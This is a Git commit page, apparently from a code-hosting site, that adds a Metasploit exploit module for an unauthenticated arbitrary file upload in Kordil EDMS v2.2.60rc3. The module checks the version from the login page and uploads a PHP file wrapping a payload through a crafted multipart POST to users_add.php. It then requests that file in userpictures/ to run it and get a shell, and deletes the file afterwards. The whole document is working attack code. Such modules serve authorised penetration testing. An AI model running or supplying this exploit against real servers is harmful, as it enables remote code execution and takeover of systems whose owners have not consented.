Merge branch 'kordil-edms-upload-exec' of github.com:bcoles/metasploit-framework into bcoles-kordil-edms-upload-exec
sinn3r
commit
b930613653
|
|
@ -0,0 +1,137 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.
|
||||||
|
This application has an upload feature that allows an unauthenticated user
|
||||||
|
to upload arbitrary files to the '/kordil_edms/userpictures/' directory.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
#['OSVDB', ''],
|
||||||
|
#['EDB', ''],
|
||||||
|
],
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Automatic Targeting', { 'auto' => true }]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Feb 22 2013",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
|
||||||
|
base = target_uri.path
|
||||||
|
base << '/' if base[-1, 1] != '/'
|
||||||
|
peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
# retrieve software version from login page
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{base}global_group_login.php"
|
||||||
|
})
|
||||||
|
if res and res.code == 200
|
||||||
|
if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
elsif res.body =~ /Kordil EDMS v/
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
|
print_error("#{peer} - Connection failed")
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload(base, file)
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"")
|
||||||
|
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"')
|
||||||
|
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
|
||||||
|
data.add_part("n", nil, nil, 'form-data; name="act"')
|
||||||
|
data_post = data.to_s
|
||||||
|
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => "#{base}users_add.php",
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => data_post
|
||||||
|
})
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(client)
|
||||||
|
if client.type == "meterpreter"
|
||||||
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||||
|
client.fs.file.rm("#{@fname}.php")
|
||||||
|
else
|
||||||
|
client.shell_command_token("rm #{@fname}.php")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
base = target_uri.path
|
||||||
|
base << '/' if base[-1, 1] != '/'
|
||||||
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
@fname = rand_text_numeric(7)
|
||||||
|
|
||||||
|
# upload PHP payload to userpictures/[fname].php
|
||||||
|
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
|
||||||
|
php = %Q|<?php #{payload.encoded} ?>|
|
||||||
|
begin
|
||||||
|
res = upload(base, php)
|
||||||
|
if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/
|
||||||
|
print_good("#{@peer} - File uploaded successfully")
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
|
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
# retrieve and execute PHP payload
|
||||||
|
print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)")
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{base}userpictures/#{@fname}.php"
|
||||||
|
})
|
||||||
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
|
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue